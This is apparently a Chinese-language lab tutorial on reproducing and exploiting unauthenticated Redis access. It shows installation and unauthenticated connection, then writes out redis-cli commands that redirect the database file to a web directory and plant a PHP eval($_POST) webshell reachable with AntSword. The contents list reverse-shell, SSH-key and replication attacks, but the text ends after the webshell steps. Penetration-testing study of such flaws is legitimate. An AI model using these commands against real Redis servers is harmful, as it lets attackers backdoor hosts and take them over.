Bootstrap

Redis未授权漏洞复现及利用(window,linux)

目录

1.了解redis

2.redis漏洞原理

3.redis漏洞复现

3.1 安装redis

3.1.1 Linux安装redis

 3.1.2 windows安装redis

4.redis漏洞利用

4.1利用redis漏洞写webshell

4.1.1利用前提

4.1.2上传webshell

4.2利用redis漏洞ssh密钥连接

4.2.1 ssh密钥连接

4.2.2 利用前提

4.2.3 客户端生成密钥

 4.2.4注意

4.3利用crontab反弹shell

4.3.1下载nc

4.3.2 上传反弹shell命令

4.3.3解决redis crontab反弹shell失败

4.4利用redis主从复制反弹shell

4.4.1 了解redis主从复制

4.4.2主从复制反弹shell

5.利用msf破解redis密码

1.了解redis

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivota赞助。

2.redis漏洞原理

Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。

3.redis漏洞复现

我看很多redis漏洞复现靶机和攻击机都是linux系统的,如果你是这样的那么网上比较多这样复现文章,也比较简单。本文是攻击机是windows和靶机是Linux,kali虚拟机之间的漏洞复现。

攻击机:window10 专业版 ip 192.168.43.102

靶机:linux kali ip192.168.43.141

3.1 安装redis

3.1.1 Linux安装redis

因为我之前已经安装过了就不把步骤截图了,代码步骤已经给大家写清楚了,实在不会就自己百度。可能在make时候报错,可能是你gcc没有下载。

第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz#下载redis
第二步 tar xzf redis-2.8.17.tar.gz#解压安装包
第三步 cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹下执行make
第五步 cd src#进入redis-2.8.17文件夹下的src文件夹
第六步 cp redis-server /usr/bin
第七步 cp redis-cli /usr/bin #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
第八步 cp redis-conf /etc/ #返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
第九步 redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务

可以看到我在任何地方都可以启动redis服务端。

 3.1.2 windows安装redis

首先自己去下载redis压缩包,直接解压。官网自己去下载。在redis文件夹下运行cmd,如果你的redis服务端开启,执行下面代码就进行连接

redis-cli.exe -h 192.168.43.141 #ip是你靶机的IP地址,端口可加可不加。
#redis-cli.exe -h 192.168.43.141 -p 6379
#如果是linux连接
redis-cli -h ip

 

 到目前为止redis未授权漏洞我们已经复现成功,接下来就是漏洞利用。

注意:如果是版本比较高的redis需要修改redis的配置文件,linux是redis.conf。如果是windows配置文件是redis.windows.conf。将bind前面#注释符去掉,将protected-mode 后面改为no。

 

4.redis漏洞利用

4.1利用redis漏洞写webshell

4.1.1利用前提

1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)

4.1.2上传webshell

config get dir #查看redis数据库路径
config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存

;